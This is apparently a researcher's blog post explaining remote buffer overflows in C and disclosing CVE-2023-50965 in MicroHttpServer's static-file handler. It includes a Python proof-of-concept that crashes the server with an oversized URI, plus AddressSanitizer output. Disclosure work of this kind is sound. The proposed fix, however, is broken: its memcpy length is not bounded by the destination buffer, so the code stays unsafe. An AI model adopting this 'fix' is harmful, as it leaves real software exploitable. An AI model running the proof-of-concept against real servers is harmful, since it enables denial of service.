MicroHttpServer
MicroHttpServer is a simple HTTP web server that implements partial HTTP/1.1. MicroHttpServer can be easily integrated into embedded systems or traditional desktop applications. The project provides both C and Python3 versions of the web server and offers simple instructions on compiling the project from source.
Understanding Remote Buffer Overflows in C
Memory corruption vulnerabilities have been a notorious and prevalent security issue in software development for decades. Among these, remote buffer overflows are particularly dangerous as they can be exploited by attackers from a remote location, potentially leading to unauthorized system access. In this blog post, we delve into the nature of remote buffer overflows, focusing on applications written in the C programming language.
What is a Buffer Overflow?
A traditional buffer overflow occurs when a program writes more data to a buffer than it can hold. A buffer in the C programming language is a contiguous block of memory. This excess data can overwrite adjacent memory space, leading to unpredictable behavior, crashes, and vulnerabilities.
A remote buffer overflow occurs when an attacker sends more data to a networked program than it is designed to handle. Unlike a local buffer overflow, where the attack is executed on the user’s machine, remote buffer overflows can be exploited from anywhere, making them a critical security concern.
Why C is Vulnerable?
C doesn’t inherently check the bounds of buffers, relying instead on the programmer to manage memory. While providing flexibility and efficiency, this characteristic opens the door to buffer overflow vulnerabilities if the programmer does not meticulously manage and validate buffer sizes.
Below is a simple example of a buffer overflow in C:
#include <stdio.h>
#include <string.h>
void vulnerableFunction(char *str) {
char password[10];
char buffer[10];
strcpy(buffer, str); // Copy the string into buffer without checking size
}
int main() {
// An overly long string
char largeString[100] = "ThisStringIsWayTooLongAndWillOverflowTheBufferCausingPotentialSecurityIssues";
vulnerableFunction(largeString);
printf("After vulnerableFunction call\n");
return 0;
}
Explanation of the vulnerable code:
- Function
vulnerableFunction
: This function has a buffer namedbuffer
of 10 characters. It usesstrcpy()
to copy the input stringstr
intobuffer
. - Vulnerability: The
strcpy()
function does not check ifstr
will fit intobuffer
. Ifstr
is longer than 9 characters (plus the null terminator), it will overflowbuffer
. - In
main()
:largeString
is defined with 100 characters, which is far longer than the 10-character buffer invulnerableFunction
. - Result: When
vulnerableFunction(largeString)
is called, it leads to a buffer overflow aslargeString
is copied intobuffer
. Any adjacent memory will be overwritten by the large buffer, which could corrupt data or crash the program. In this particular example, the char array named ‘password’ would be overwritten with data from ‘largeString’.
Typical Scenarios
Remote buffer overflows commonly occur in network services or applications that receive data over a network, like web servers, email servers, or FTP servers. If these applications are written in C and don’t properly check the length of user-defined input received over the network, they can be susceptible to buffer overflow attacks.
Discovering CVE-2023-50965
After executing various fuzz tests against the server, I discovered a remote stack buffer overflow in the C version of MicroHttpServer in the function uint8_t _ReadStaticFiles(HTTPReqMessage *req, HTTPResMessage *res) at lib/middleware.c, line 67. Any server or embedded application that utilizes MicroHttpServer is potentially at risk of remote code execution.
Makefile Modifications
The following modifications were made to the Makefile included in the project source code. The purpose of this is to track and verify the location of the stack buffer overflow by including address sanitizer and debug symbols:
PROJ=microhttpserver
CC=gcc
INCLUDES=-Ilib
DEFS=-D_PARSE_SIGNAL_ -D_PARSE_SIGNAL_INT_ -DDEBUG_MSG -DENABLE_STATIC_FILE=1
CFLAGS=-Os -Wall -fsanitize=address -g
SRCS=main.c app.c lib/server.c lib/middleware.c
all:
$(CC) $(SRCS) $(INCLUDES) $(DEFS) $(CFLAGS) -o $(PROJ)
clean:
rm -rf *.out *.bin *.exe *.o *.a *.so *.list *.img test build $(PROJ)
Proof of Concept Python3 Script
Next, I created the following script and saved it to a file named poc.py:
#!/usr/bin/env python3
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("localhost", 8001))
sock.send(b"GET /"+b"%s"*5000+b" HTTP/1.1\r\nHost:localhost:8001\r\n\r\n")
response = sock.recv(4096)
sock.close()
Starting MicroHttpServer
Executing the following command will start MicroHttpServer on port 8001:
$ ./microhttpserver
Executing the Python3 Script
Once MicroHttpServer has been started, we can execute our proof of concept script:
$ python3 poc.py
Address Sanitizer Output
The following output is produced by address sanitizer, confirming the existence of the stack buffer overflow vulnerability. Line #1 includes the exact location where the vulnerability occurs in the source code. We can also verify that address sanitizer detected an invalid write of size 10001 at the address 0x7ffc75d79c90 in the application:
Listening
Accept 1 client. 127.0.0.1:35914
Parse Header
Parse body
=================================================================
==268450==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffc75d79c90 at pc 0x7f141a66dcbf bp 0x7ffc75d79b50 sp 0x7ffc75d79310
WRITE of size 10001 at 0x7ffc75d79c90 thread T0
#0 0x7f141a66dcbe in __interceptor_memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:899
#1 0x5632c9deeb74 in _ReadStaticFiles lib/middleware.c:67
#2 0x5632c9deef9b in Dispatch lib/middleware.c:138
#3 0x5632c9dee12b in _HTTPServerRequest lib/server.c:316
#4 0x5632c9dee12b in _HTTPServerRequest lib/server.c:308
#5 0x5632c9dee4e8 in HTTPServerRun lib/server.c:350
#6 0x5632c9dec3c9 in main /home/kali/projects/fuzzing/MicroHttpServer/c-version/main.c:27
#7 0x7f141a4456c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#8 0x7f141a445784 in __libc_start_main_impl ../csu/libc-start.c:360
#9 0x5632c9dec460 in _start (/home/kali/projects/fuzzing/MicroHttpServer/c-version/microhttpserver+0x2460) (BuildId: 39e1eff8cc6e7225cc4b4972fb5564788133b49d)
Address 0x7ffc75d79c90 is located in stack of thread T0 at offset 288 in frame
#0 0x5632c9dee8a3 in _ReadStaticFiles lib/middleware.c:36
This frame has 2 object(s):
[48, 127) 'header' (line 47)
[160, 288) 'path' (line 45) <== Memory access at offset 288 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:899 in __interceptor_memcpy
Shadow bytes around the buggy address:
0x7ffc75d79a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7ffc75d79a80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7ffc75d79b00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1
0x7ffc75d79b80: f1 f1 f1 f1 00 00 00 00 00 00 00 00 00 07 f2 f2
0x7ffc75d79c00: f2 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x7ffc75d79c80: 00 00[f3]f3 f3 f3 00 00 00 00 00 00 00 00 00 00
0x7ffc75d79d00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7ffc75d79d80: 00 00 f1 f1 f1 f1 00 00 f2 f2 00 00 00 00 00 00
0x7ffc75d79e00: 00 00 00 00 00 00 00 00 00 00 f2 f2 f2 f2 00 00
0x7ffc75d79e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f3 f3
0x7ffc75d79f00: f3 f3 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==268450==ABORTING
Mitigation
The vulnerable source code responsible for the buffer overflow can be seen below:
memcpy(path + strlen(STATIC_FILE_FOLDER), uri, strlen(uri));
The issue here is that memcpy is copying the value of ‘uri’ to ‘path+strlen(STATIC_FILE_FOLDER)’, but the size of the URI is larger than the destination buffer.
Buffer overflow vulnerability:
memcpy(path + strlen(STATIC_FILE_FOLDER), uri, strlen(uri));
Modified code preventing a buffer overflow:
memcpy(path + strlen(STATIC_FILE_FOLDER), uri, strlen(path) + strlen(STATIC_FILE_FOLDER));
Prevention and Mitigation Strategies
- Bounds Checking: Always perform bounds checking. Use functions that limit the amount of data written to buffers, like
memcpy_s
() instead ofmemcpy()
. - Secure Coding Practices: Adopt secure coding standards that focus on preventing buffer overflows.
- Static and Dynamic Analysis Tools: Use tools to analyze code for potential buffer overflow vulnerabilities.
- Regular Updates and Patches: Keep systems and applications updated to patch known vulnerabilities.
- Address Space Layout Randomization (ASLR): ASLR makes it more difficult for attackers to predict the location of the overflowed buffer.
- Data Execution Prevention (DEP): DEP prevents the execution of code from certain parts of memory, notably where data is typically stored.
Conclusion
Remote buffer overflows in C are a significant security risk but can be mitigated with careful coding practices, thorough testing, and system hardening. Awareness and understanding of these vulnerabilities are the first steps in safeguarding against potential exploits.
As we continue to rely on networked applications, the importance of securing them against remote buffer overflows cannot be overstated. Developers, system administrators, and end-users must remain vigilant and proactive in their approach to cybersecurity.
No responses yet